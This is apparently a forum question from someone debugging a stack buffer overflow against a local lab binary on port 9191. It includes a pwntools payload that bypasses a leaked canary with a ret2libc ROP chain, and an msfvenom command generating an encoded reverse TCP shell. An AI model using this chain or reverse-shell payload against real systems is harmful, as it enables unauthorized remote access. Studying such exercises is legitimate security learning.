ASLR: off Canary: on
I have a binary that when run, it spawns zombie process on port 9191. I've been using ghidra and gdb to reverse engineer this and have found the buffer, canary, found the pop rdi location, shell location, system location - everything I need to do a buffer overflow. The problem I'm having is that when I insert the following payload:
payload = flat([ b'A'*72, # Pad to canary (72) canary, # Our leaked canary (16) 8 * b'B', # padding pop_rdi, one, # shell ret, 0x7ffff7a31420, # system ])
It crashes GDB with the error
process 6540 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. . When running the script outside of GDB, the connection just closes and I get no info. On the server side after attempting to insert the payload I see
sh: 1: ��: not found . I believe what is happening is that I need to insert a payload that opens a tcp shell utilizing msfvenom but when I insert the payload generated with
msfvenom -p windows/shell_reverse_tcp LHOST=localhost LPORT=9001 -b "\x00" -f python -a x86 -e x86/shikata_ga_nai EXITFUNC=thread to replace the
one variable, I no longer get any indication a shell was opened on the server side, client side, OR on the listening port. I've tried various different locations with the same result. I'm not quite sure what I'm doing wrong, and any help would be appreciated!